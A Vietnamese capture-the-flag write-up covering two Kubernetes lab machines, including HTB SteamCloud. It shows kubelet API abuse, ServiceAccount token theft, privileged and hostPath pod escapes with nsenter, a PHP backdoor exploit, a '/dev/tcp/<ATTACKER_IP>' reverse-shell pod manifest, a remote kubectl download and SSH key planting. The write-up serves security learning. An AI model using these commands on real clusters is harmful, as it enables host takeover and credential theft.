<p>Kết quả quét Nmap  cho thấy mục tiêu (IP <code class="language-plaintext highlighter-rouge">10.49.173.204</code>) đang mở khá nhiều cổng dịch vụ lạ. Đây có vẻ là một cụm <strong>Kubernetes</strong> hoặc một môi trường container.</p>

<p>Dưới đây là phân tích các cổng đang mở:</p>

<p>Các cổng đáng chú ý</p>

<ul>
  <li><strong>Cổng 22 (ssh)</strong>: Cổng quản lý từ xa qua dòng lệnh.</li>
  <li><strong>Cổng 10250, 10255, 10257, 10259</strong>: Đây là các cổng đặc trưng của <strong>Kubernetes Kubelet API</strong>.
    <ul>
      <li><code class="language-plaintext highlighter-rouge">10250</code>: Kubelet API (thường yêu cầu xác thực).</li>
      <li><code class="language-plaintext highlighter-rouge">10255</code>: Read-only Kubelet API (thường không yêu cầu xác thực, có thể lộ thông tin nhạy cảm).</li>
      <li>cổng <code class="language-plaintext highlighter-rouge">10257</code> tương ứng với kube-controller-manager</li>
      <li>cổng <code class="language-plaintext highlighter-rouge">10259</code> tương ứng với kube-scheduler trên các node mặt phẳng điều khiển Kubernetes.</li>
    </ul>
  </li>
  <li><strong>Cổng 30679</strong>: Đây có thể là một <strong>NodePort</strong> (dịch vụ được ứng dụng bên trong Kubernetes đưa ra ngoài).</li>
</ul>

<p><img src="/assets/images/posts/Pasted%20image%2020260522233352.png" alt="" /></p>

<p>Có 1 web server port 30679 được expose nên tui có thể truy cập để xem thử</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260522233502.png" alt="" /></p>

<p>Curl tới api đó để đọc thì thấy</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260522234813.png" alt="" /></p>

<p><img src="/assets/images/posts/Pasted%20image%2020260522234914.png" alt="" /></p>

<p>**Phân tích thông tin JSON thu được <code class="language-plaintext highlighter-rouge">/pods</code>, ta có thể thấy có 4 pod đang chạy trên máy:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>calico-node             
calico-kube-controllers 
coredns                 
php-deploy          
</code></pre></div></div>

<p><img src="/assets/images/posts/Pasted%20image%2020260522235131.png" alt="" /></p>

<p>Sau khi wappalyzer thì thấy web server sử dụng php version 8.1.0 , thì ở đây tui cũng đã đoán được mình cần RCE vào server này , và sau đó mình lên git và tìm PoC này để có thể chạy mã khai thác
https://github.com/flast101/php-8.1.0-dev-backdoor-rce</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260522235945.png" alt="" /></p>

<p>Dựng máy lắng nghe thì dành được reverse shell thành công</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260522235955.png" alt="" /></p>

<p><img src="/assets/images/posts/Pasted%20image%2020260523000134.png" alt="" /></p>

<p><img src="/assets/images/posts/Pasted%20image%2020260523000327.png" alt="" /></p>

<p>Chuyển sang sử dụng pwncat để có thể tải kubectl do ko dùng curl hoặc wget được</p>

<p>Nhưng  sau 1 hồi cài pwncat-cs thì thư viện có khả nhiều lỗi và tui mất cũng vài tiếng nhưng cũng ko thể fix được. Nên sau một hồi tham  khảo WU của các pháp sư nước ngoài  thì tui nhận ra vẫn còn cách n ày để có thể tải kubectl lên</p>

<p>Đảm bảo bạn đang đứng ở thư mục chứa file <code class="language-plaintext highlighter-rouge">kubectl</code> trên máy Kali và bật server lên:</p>

<p>Bash</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 -m http.server 80
</code></pre></div></div>

<p>Tại cửa sổ shell của container, bạn chạy lệnh PHP này để tải file trực tiếp (nhớ thay <code class="language-plaintext highlighter-rouge">192.168.246.92</code> bằng IP VPN <code class="language-plaintext highlighter-rouge">tun0</code> hiện tại của bạn):</p>

<p>Bash</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>php -r 'copy("http://192.168.246.92/kubectl", "/tmp/kubectl");'
</code></pre></div></div>

<p><em>(Bạn nhìn sang terminal máy Kali, nếu thấy dòng log <code class="language-plaintext highlighter-rouge">192.168.x.x - - [2026...] "GET /kubectl HTTP/1.1" 200</code> hiện ra là file đã được tải sang thành công mượt mà).</em></p>

<p>Bây giờ cấp quyền thực thi cho file và kiểm tra xem Service Account trong Pod này có thể đọc được những gì trong cụm Kubernetes:</p>

<p>Bash</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>chmod +x /tmp/kubectl

# Kiểm tra danh sách Pod trong namespace hiện tại
/tmp/kubectl get pods

# Kiểm tra xem Service Account của bạn có những quyền gì (Rất quan trọng để biết đường leo thang)
/tmp/kubectl auth can-i --list
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@php-deploy-6d998f68b9-pj8v5:/tmp# ./kubectl auth can-i --list
./kubectl auth can-i --list
Resources   Non-Resource URLs   Resource Names   Verbs
*.*         []                  []               [*]
            [*]                 []               [*]
root@php-deploy-6d998f68b9-pj8v5:/tmp# 

</code></pre></div></div>

<p>Để truy cập vào máy chủ, chúng ta sẽ chạy lệnh sau, lệnh này có thể tìm thấy trên <a href="https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes/abusing-roles-clusterroles-in-kubernetes#pod-create-and-escape">HackTricks</a> :</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl run r00t --restart=Never -it --image something --rm --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"vulhub/php:8.1-backdoor","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
</code></pre></div></div>

<p>Hãy cùng phân tích để hiểu rõ điều gì đang xảy ra:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">kubectl</code>- Vâng, rõ ràng là nó làm gì: tương tác với cụm Kubernetes.</li>
  <li><code class="language-plaintext highlighter-rouge">run r00t</code>- Khởi tạo một pod có tên<code class="language-plaintext highlighter-rouge">r00t</code></li>
  <li><code class="language-plaintext highlighter-rouge">--restart=Never</code>- Nếu thiết bị dừng hoạt động, đừng khởi động lại nó.</li>
  <li><code class="language-plaintext highlighter-rouge">-it</code>- Cấp phát một TTY cho container trong pod và kết nối <code class="language-plaintext highlighter-rouge">stdin</code>với nó ( <em>nghĩa là</em> cho phép chúng ta tương tác với container)</li>
  <li><code class="language-plaintext highlighter-rouge">--image something</code>- Ở đây chúng ta cần có hình ảnh cho pod, tuy nhiên vì nó sẽ bị ghi đè nên nó có thể là bất kỳ hình ảnh nào.</li>
  <li><code class="language-plaintext highlighter-rouge">--rm</code>- Xóa pod sau khi nó thoát</li>
  <li><code class="language-plaintext highlighter-rouge">--overrides</code>- Sử dụng JSON nội tuyến để ghi đè lên đối tượng được tạo tự động</li>
</ul>

<p>Bây giờ chúng ta sẽ xem xét các giá trị mà chúng ta đang ghi đè.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{
    "spec": {
        "hostPID": true,
        "containers": [{
            "name": "1",
            "image": "vulhub/php:8.1-backdoor",
            "command": ["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],
            "stdin": true,
            "tty":true,
            "imagePullPolicy":"IfNotPresent",
            "securityContext": {
                "privileged": true
            }
        }]
    }
}
</code></pre></div></div>

<p>Sau khi chỉnh sửa các giá trị ghi đè, chúng ta có thể thấy rằng pod sẽ chia sẻ không gian tên ID tiến trình máy chủ ( <code class="language-plaintext highlighter-rouge">hostPID</code>), sẽ có một container sử dụng hình ảnh mà chúng ta đã có trong node của mình (vì chúng ta không có quyền truy cập internet - chúng ta phải thực hiện thay đổi này) và sẽ chạy ở chế độ đặc quyền.</p>

<p>Lệnh sẽ được thực thi khi container khởi động là <code class="language-plaintext highlighter-rouge">nsenter</code>lệnh cho phép chúng ta chạy một chương trình trong một namespace khác. Cờ này <code class="language-plaintext highlighter-rouge">--mount=/proc/1/ns/mnt</code>cho biết <code class="language-plaintext highlighter-rouge">nsenter</code>sẽ vào namespace được gắn kết (hay còn gọi là hệ thống tập tin) của tiến trình có PID 1, tức là <code class="language-plaintext highlighter-rouge">init</code>tiến trình đó, có nghĩa là chúng ta sẽ thực thi <code class="language-plaintext highlighter-rouge">/bin/bash</code>trong hệ thống tập tin của máy chủ (vì chúng ta đang tham chiếu đến hệ thống tập tin <code class="language-plaintext highlighter-rouge">init</code>của máy chủ chứ không phải của container, do <code class="language-plaintext highlighter-rouge">hostPID</code>giá trị của cờ), nói cách khác, chúng ta đang ở bên trong máy chủ.</p>

<p>Sau đó, chúng ta lại được đưa vào một shell có quyền root, nhưng lần này là bên trong máy chủ, vì vậy tất cả những gì chúng ta cần làm là lấy các cờ từ <code class="language-plaintext highlighter-rouge">/home/herby/user.txt</code>và <code class="language-plaintext highlighter-rouge">/root/root.txt</code>.</p>

<p>hoặc bạn có thể tạo 1 bad pods bằng cách này</p>

<p>https://github.com/BishopFox/badPods/blob/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>apiVersion: v1
kind: Pod
metadata:
  name: pwned
  labels:
    app: pwn
spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  containers:
  - name: pwned
    image: docker.io/vulhub/php:8.1-backdoor
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: noderoot
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]
  volumes:
  - name: noderoot
    hostPath:
      path: /

</code></pre></div></div>

<p>https://qiita.com/rikum0730/items/813d8fc29b8788387cb1
https://dmaxter.pt/writeups/thm-frank-and-herby-try-again/</p>

<h2 id="htb-steamcloud---kuberneteskubelet-misconfiguration">HTB SteamCloud - Kubernetes/Kubelet Misconfiguration</h2>

<p><img src="/assets/images/posts/Pasted%20image%2020260524221954.png" alt="" /></p>

<blockquote>
  <p><strong>Nguồn tham khảo:</strong> https://0xdf.gitlab.io/2022/02/14/htb-steamcloud.html<br />
<strong>Mục tiêu học:</strong> hiểu chuỗi tấn công từ Kubelet API exposed → chiếm pod → lấy ServiceAccount token → lạm dụng quyền tạo pod để mount filesystem của host.</p>
</blockquote>

<h3 id="1-tổng-quan-bài-lab">1. Tổng quan bài lab</h3>

<p>SteamCloud là một máy HTB mức Easy nhưng rất hợp để học Kubernetes security vì luồng khai thác khá sạch:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Recon port K8s
→ Kubelet API exposed
→ Exec vào pod nginx
→ Lấy ServiceAccount token
→ Authenticate vào Kubernetes API
→ Kiểm tra RBAC
→ Tạo pod mount root filesystem của host
→ Đọc root.txt / lấy root shell host
</code></pre></div></div>

<p>Điểm quan trọng của bài này không nằm ở exploit CVE, mà nằm ở <strong>misconfiguration</strong>:</p>

<ul>
  <li>Kubelet API port <code class="language-plaintext highlighter-rouge">10250</code> có thể tương tác từ bên ngoài.</li>
  <li>Attacker có thể <code class="language-plaintext highlighter-rouge">exec</code> command vào pod đang chạy.</li>
  <li>ServiceAccount trong pod có quyền <code class="language-plaintext highlighter-rouge">get</code>, <code class="language-plaintext highlighter-rouge">list</code>, <code class="language-plaintext highlighter-rouge">create pods</code>.</li>
  <li>Quyền <code class="language-plaintext highlighter-rouge">create pods</code> đủ nguy hiểm để tạo pod mới có <code class="language-plaintext highlighter-rouge">hostPath</code> mount <code class="language-plaintext highlighter-rouge">/</code> của node.</li>
</ul>

<h3 id="2-recon">2. Recon</h3>

<p>Scan full port:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-p-</span> <span class="nt">--min-rate</span> 10000 <span class="nt">-oA</span> scans/nmap-alltcp 10.10.11.133
</code></pre></div></div>

<p>Các port đáng chú ý:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>22/tcp     ssh
2379/tcp   etcd-client
2380/tcp   etcd-server
8443/tcp   Kubernetes API server / minikube API
10249/tcp  kube-proxy metrics
10250/tcp  Kubelet API
10256/tcp  kube-proxy healthz
</code></pre></div></div>

<p>Scan service/version:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-p</span> 22,2379,2380,8443,10249,10250,10256 <span class="nt">-sCV</span> <span class="nt">-oA</span> scans/nmap-tcpscripts 10.10.11.133
</code></pre></div></div>

<p>Nhìn certificate ở port <code class="language-plaintext highlighter-rouge">8443</code> thấy nhiều dấu hiệu đây là môi trường <strong>minikube/Kubernetes</strong>:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>commonName=minikube
DNS:kubernetes.default.svc.cluster.local
DNS:kubernetes.default
IP Address:10.96.0.1
IP Address:127.0.0.1
</code></pre></div></div>

<p>Kết luận nhanh:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">8443</code>: Kubernetes API Server, cần credential.</li>
  <li><code class="language-plaintext highlighter-rouge">10250</code>: Kubelet API, có khả năng bị cấu hình lỏng.</li>
  <li><code class="language-plaintext highlighter-rouge">2379/2380</code>: etcd, nhưng trong bài này không phải đường khai thác chính.</li>
</ul>

<h3 id="3-thử-kubernetes-api-server">3. Thử Kubernetes API Server</h3>

<p>Gọi API bằng <code class="language-plaintext highlighter-rouge">kubectl</code> thì bị yêu cầu xác thực:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl <span class="nt">--server</span> https://10.10.11.133:8443 get pods
kubectl <span class="nt">--server</span> https://10.10.11.133:8443 get namespaces
kubectl <span class="nt">--server</span> https://10.10.11.133:8443 cluster-info
</code></pre></div></div>

<p>Kết quả là <code class="language-plaintext highlighter-rouge">kubectl</code> hỏi username/password hoặc trả về <code class="language-plaintext highlighter-rouge">Forbidden</code>, nghĩa là chưa có credential để đi qua API Server.</p>

<h3 id="4-khai-thác-kubelet-api">4. Khai thác Kubelet API</h3>

<p>Dùng <code class="language-plaintext highlighter-rouge">kubeletctl</code> để tương tác với Kubelet port <code class="language-plaintext highlighter-rouge">10250</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubeletctl pods <span class="nt">-s</span> 10.10.11.133
</code></pre></div></div>

<p>Danh sách pod đáng chú ý:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>storage-provisioner                 kube-system
coredns-78fcd69978-7dhjv            kube-system
nginx                               default
etcd-steamcloud                     kube-system
kube-apiserver-steamcloud           kube-system
kube-controller-manager-steamcloud  kube-system
kube-scheduler-steamcloud           kube-system
kube-proxy-562gf                    kube-system
</code></pre></div></div>

<p>Pod <code class="language-plaintext highlighter-rouge">nginx</code> nằm trong namespace <code class="language-plaintext highlighter-rouge">default</code>, đây là mục tiêu dễ thử trước vì không thuộc nhóm control plane.</p>

<p>Có thể format danh sách pod từ JSON:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubeletctl runningpods <span class="nt">-s</span> 10.10.11.133 | jq <span class="nt">-c</span> <span class="s1">'.items[].metadata | [.name, .namespace]'</span>
</code></pre></div></div>

<h3 id="5-exec-vào-pod-nginx">5. Exec vào pod nginx</h3>

<p>Test command execution:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubeletctl <span class="nt">-s</span> 10.10.11.133 <span class="nb">exec</span> <span class="s2">"id"</span> <span class="nt">-p</span> nginx <span class="nt">-c</span> nginx
</code></pre></div></div>

<p>Kết quả:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>uid=0(root) gid=0(root) groups=0(root)
</code></pre></div></div>

<p>Ở đây mình là <code class="language-plaintext highlighter-rouge">root</code> <strong>trong container nginx</strong>, chưa phải root của host.</p>

<p>Đọc user flag:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubeletctl <span class="nt">-s</span> 10.10.11.133 <span class="nb">exec</span> <span class="s2">"ls /root"</span> <span class="nt">-p</span> nginx <span class="nt">-c</span> nginx
kubeletctl <span class="nt">-s</span> 10.10.11.133 <span class="nb">exec</span> <span class="s2">"cat /root/user.txt"</span> <span class="nt">-p</span> nginx <span class="nt">-c</span> nginx
</code></pre></div></div>

<p>Có thể lấy interactive shell trực tiếp:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubeletctl <span class="nt">-s</span> 10.10.11.133 <span class="nb">exec</span> <span class="s2">"/bin/bash"</span> <span class="nt">-p</span> nginx <span class="nt">-c</span> nginx
</code></pre></div></div>

<h3 id="6-lấy-serviceaccount-token-trong-pod">6. Lấy ServiceAccount token trong pod</h3>

<p>Trong Kubernetes, mỗi pod thường được mount ServiceAccount token để nói chuyện với API Server. Kiểm tra trong container:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubeletctl <span class="nt">-s</span> 10.10.11.133 <span class="nb">exec</span> <span class="s2">"ls /run/secrets/kubernetes.io/serviceaccount"</span> <span class="nt">-p</span> nginx <span class="nt">-c</span> nginx
</code></pre></div></div>

<p>Các file quan trọng:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ca.crt
namespace
token
</code></pre></div></div>

<p>Ý nghĩa:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">ca.crt</code>: CA certificate để trust Kubernetes API Server.</li>
  <li><code class="language-plaintext highlighter-rouge">namespace</code>: namespace hiện tại của pod.</li>
  <li><code class="language-plaintext highlighter-rouge">token</code>: bearer token của ServiceAccount gắn với pod.</li>
</ul>

<p>Lưu CA cert và token về máy attacker:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubeletctl <span class="nt">-s</span> 10.10.11.133 <span class="nb">exec</span> <span class="s2">"cat /run/secrets/kubernetes.io/serviceaccount/ca.crt"</span> <span class="nt">-p</span> nginx <span class="nt">-c</span> nginx | <span class="nb">tee </span>ca.crt
kubeletctl <span class="nt">-s</span> 10.10.11.133 <span class="nb">exec</span> <span class="s2">"cat /run/secrets/kubernetes.io/serviceaccount/token"</span> <span class="nt">-p</span> nginx <span class="nt">-c</span> nginx | <span class="nb">tee </span>token
</code></pre></div></div>

<p>Hoặc đưa token vào biến môi trường:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">export </span><span class="nv">token</span><span class="o">=</span><span class="si">$(</span>kubeletctl <span class="nt">-s</span> 10.10.11.133 <span class="nb">exec</span> <span class="s2">"cat /run/secrets/kubernetes.io/serviceaccount/token"</span> <span class="nt">-p</span> nginx <span class="nt">-c</span> nginx<span class="si">)</span>
</code></pre></div></div>

<h3 id="7-authenticate-vào-kubernetes-api-bằng-token">7. Authenticate vào Kubernetes API bằng token</h3>

<p>Dùng <code class="language-plaintext highlighter-rouge">ca.crt</code> và token vừa lấy để gọi API Server:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl <span class="nt">--server</span> https://10.10.11.133:8443 <span class="se">\</span>
  <span class="nt">--certificate-authority</span><span class="o">=</span>ca.crt <span class="se">\</span>
  <span class="nt">--token</span><span class="o">=</span><span class="nv">$token</span> <span class="se">\</span>
  get pods
</code></pre></div></div>

<p>Nếu thành công sẽ thấy pod <code class="language-plaintext highlighter-rouge">nginx</code>:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>NAME    READY   STATUS    RESTARTS   AGE
nginx   1/1     Running   0          ...
</code></pre></div></div>

<p>Kiểm tra quyền của ServiceAccount:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl auth can-i <span class="nt">--list</span> <span class="se">\</span>
  <span class="nt">--server</span> https://10.10.11.133:8443 <span class="se">\</span>
  <span class="nt">--certificate-authority</span><span class="o">=</span>ca.crt <span class="se">\</span>
  <span class="nt">--token</span><span class="o">=</span><span class="nv">$token</span>
</code></pre></div></div>

<p>Dòng quan trọng:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pods    []    []    [get create list]
</code></pre></div></div>

<p>Đây là pivot point của bài: ServiceAccount không phải cluster-admin, nhưng có quyền <strong>create pods</strong> trong namespace <code class="language-plaintext highlighter-rouge">default</code>. Với quyền này, attacker có thể tạo pod mới mount filesystem của host.</p>

<h3 id="8-xem-cấu-hình-pod-nginx">8. Xem cấu hình pod nginx</h3>

<p>Dump YAML của pod hiện tại:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl get pod nginx <span class="nt">-o</span> yaml <span class="se">\</span>
  <span class="nt">--server</span> https://10.10.11.133:8443 <span class="se">\</span>
  <span class="nt">--certificate-authority</span><span class="o">=</span>ca.crt <span class="se">\</span>
  <span class="nt">--token</span><span class="o">=</span><span class="nv">$token</span>
</code></pre></div></div>

<p>Thông tin cần lấy:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">namespace</span><span class="pi">:</span> <span class="s">default</span>
<span class="na">image</span><span class="pi">:</span> <span class="s">nginx:1.14.2</span>
</code></pre></div></div>

<p>Ta dùng lại image <code class="language-plaintext highlighter-rouge">nginx:1.14.2</code> vì image này đã có sẵn trên node, tránh phụ thuộc internet/image pull.</p>

<h3 id="9-tạo-pod-mount--của-host">9. Tạo pod mount <code class="language-plaintext highlighter-rouge">/</code> của host</h3>

<p>Tạo file <code class="language-plaintext highlighter-rouge">evil-pod.yaml</code>:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">apiVersion</span><span class="pi">:</span> <span class="s">v1</span>
<span class="na">kind</span><span class="pi">:</span> <span class="s">Pod</span>
<span class="na">metadata</span><span class="pi">:</span>
  <span class="na">name</span><span class="pi">:</span> <span class="s">attacker-pod</span>
  <span class="na">namespace</span><span class="pi">:</span> <span class="s">default</span>
<span class="na">spec</span><span class="pi">:</span>
  <span class="na">containers</span><span class="pi">:</span>
  <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">attacker-pod</span>
    <span class="na">image</span><span class="pi">:</span> <span class="s">nginx:1.14.2</span>
    <span class="na">volumeMounts</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="na">mountPath</span><span class="pi">:</span> <span class="s">/mnt</span>
      <span class="na">name</span><span class="pi">:</span> <span class="s">hostfs</span>
  <span class="na">volumes</span><span class="pi">:</span>
  <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">hostfs</span>
    <span class="na">hostPath</span><span class="pi">:</span>
      <span class="na">path</span><span class="pi">:</span> <span class="s">/</span>
  <span class="na">automountServiceAccountToken</span><span class="pi">:</span> <span class="no">true</span>
  <span class="na">hostNetwork</span><span class="pi">:</span> <span class="no">true</span>
</code></pre></div></div>

<p>Giải thích:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">hostPath.path: /</code>: mount toàn bộ root filesystem của node vào pod.</li>
  <li><code class="language-plaintext highlighter-rouge">mountPath: /mnt</code>: trong container, host filesystem xuất hiện tại <code class="language-plaintext highlighter-rouge">/mnt</code>.</li>
  <li><code class="language-plaintext highlighter-rouge">hostNetwork: true</code>: pod dùng network namespace của host.</li>
  <li><code class="language-plaintext highlighter-rouge">image: nginx:1.14.2</code>: dùng image đã có sẵn trên node.</li>
</ul>

<p>Apply pod:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl apply <span class="nt">-f</span> evil-pod.yaml <span class="se">\</span>
  <span class="nt">--server</span> https://10.10.11.133:8443 <span class="se">\</span>
  <span class="nt">--certificate-authority</span><span class="o">=</span>ca.crt <span class="se">\</span>
  <span class="nt">--token</span><span class="o">=</span><span class="nv">$token</span>
</code></pre></div></div>

<p>Kiểm tra:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl get pods <span class="se">\</span>
  <span class="nt">--server</span> https://10.10.11.133:8443 <span class="se">\</span>
  <span class="nt">--certificate-authority</span><span class="o">=</span>ca.crt <span class="se">\</span>
  <span class="nt">--token</span><span class="o">=</span><span class="nv">$token</span>
</code></pre></div></div>

<h3 id="10-đọc-filesystem-của-host">10. Đọc filesystem của host</h3>

<p>Exec vào pod mới bằng Kubelet:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubeletctl <span class="nb">exec</span> <span class="s2">"id"</span> <span class="nt">-s</span> 10.10.11.133 <span class="nt">-p</span> attacker-pod <span class="nt">-c</span> attacker-pod
</code></pre></div></div>

<p>Liệt kê root filesystem của host:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubeletctl <span class="nb">exec</span> <span class="s2">"ls /mnt"</span> <span class="nt">-s</span> 10.10.11.133 <span class="nt">-p</span> attacker-pod <span class="nt">-c</span> attacker-pod
</code></pre></div></div>

<p>Đọc root flag:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubeletctl <span class="nb">exec</span> <span class="s2">"cat /mnt/root/root.txt"</span> <span class="nt">-s</span> 10.10.11.133 <span class="nt">-p</span> attacker-pod <span class="nt">-c</span> attacker-pod
</code></pre></div></div>

<p>Lúc này <code class="language-plaintext highlighter-rouge">/mnt</code> chính là <code class="language-plaintext highlighter-rouge">/</code> của node thật, vì vậy <code class="language-plaintext highlighter-rouge">/mnt/root/root.txt</code> tương ứng với <code class="language-plaintext highlighter-rouge">/root/root.txt</code> trên host.</p>

<h3 id="11-lấy-root-shell-trên-host">11. Lấy root shell trên host</h3>

<p>Có thể tạo pod thứ hai chạy reverse shell ngay khi container start:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">apiVersion</span><span class="pi">:</span> <span class="s">v1</span>
<span class="na">kind</span><span class="pi">:</span> <span class="s">Pod</span>
<span class="na">metadata</span><span class="pi">:</span>
  <span class="na">name</span><span class="pi">:</span> <span class="s">attacker-shell</span>
  <span class="na">namespace</span><span class="pi">:</span> <span class="s">default</span>
<span class="na">spec</span><span class="pi">:</span>
  <span class="na">containers</span><span class="pi">:</span>
  <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">attacker-shell</span>
    <span class="na">image</span><span class="pi">:</span> <span class="s">nginx:1.14.2</span>
    <span class="na">command</span><span class="pi">:</span> <span class="pi">[</span><span class="s2">"</span><span class="s">/bin/bash"</span><span class="pi">]</span>
    <span class="na">args</span><span class="pi">:</span> <span class="pi">[</span><span class="s2">"</span><span class="s">-c"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">/bin/bash</span><span class="nv"> </span><span class="s">-i</span><span class="nv"> </span><span class="s">&gt;&amp;</span><span class="nv"> </span><span class="s">/dev/tcp/&lt;ATTACKER_IP&gt;/443</span><span class="nv"> </span><span class="s">0&gt;&amp;1"</span><span class="pi">]</span>
    <span class="na">volumeMounts</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="na">mountPath</span><span class="pi">:</span> <span class="s">/mnt</span>
      <span class="na">name</span><span class="pi">:</span> <span class="s">hostfs</span>
  <span class="na">volumes</span><span class="pi">:</span>
  <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">hostfs</span>
    <span class="na">hostPath</span><span class="pi">:</span>
      <span class="na">path</span><span class="pi">:</span> <span class="s">/</span>
  <span class="na">automountServiceAccountToken</span><span class="pi">:</span> <span class="no">true</span>
  <span class="na">hostNetwork</span><span class="pi">:</span> <span class="no">true</span>
</code></pre></div></div>

<p>Trên máy attacker bật listener:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nc <span class="nt">-lnvp</span> 443
</code></pre></div></div>

<p>Apply pod:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl apply <span class="nt">-f</span> attacker-shell.yaml <span class="se">\</span>
  <span class="nt">--server</span> https://10.10.11.133:8443 <span class="se">\</span>
  <span class="nt">--certificate-authority</span><span class="o">=</span>ca.crt <span class="se">\</span>
  <span class="nt">--token</span><span class="o">=</span><span class="nv">$token</span>
</code></pre></div></div>

<p>Sau khi shell callback về, có thể ghi SSH public key vào host root:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">mkdir</span> <span class="nt">-p</span> /mnt/root/.ssh
<span class="nb">cd</span> /mnt/root/.ssh
<span class="nb">echo</span> <span class="s2">"ssh-ed25519 &lt;PUBLIC_KEY&gt; attacker@kali"</span> <span class="o">&gt;</span> authorized_keys
</code></pre></div></div>

<p>Rồi SSH vào host:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh <span class="nt">-i</span> id_ed25519 root@10.10.11.133
</code></pre></div></div>

<h3 id="12-vì-sao-quyền-create-pods-nguy-hiểm">12. Vì sao quyền <code class="language-plaintext highlighter-rouge">create pods</code> nguy hiểm?</h3>

<p>Trong Kubernetes, quyền <code class="language-plaintext highlighter-rouge">create pods</code> có thể trở thành quyền leo thang rất mạnh nếu cluster không chặn các cấu hình nguy hiểm. Attacker có thể tạo pod với:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">hostPath</code> mount thư mục nhạy cảm của node.</li>
  <li><code class="language-plaintext highlighter-rouge">hostNetwork: true</code> để dùng network của host.</li>
  <li><code class="language-plaintext highlighter-rouge">hostPID: true</code> để nhìn process của host.</li>
  <li><code class="language-plaintext highlighter-rouge">privileged: true</code> để tăng khả năng escape.</li>
  <li>ServiceAccount khác nếu có quyền gán hoặc dùng SA mạnh hơn.</li>
</ul>

<p>Trong SteamCloud, chỉ cần <code class="language-plaintext highlighter-rouge">hostPath: /</code> là đủ để đọc toàn bộ filesystem của node.</p>

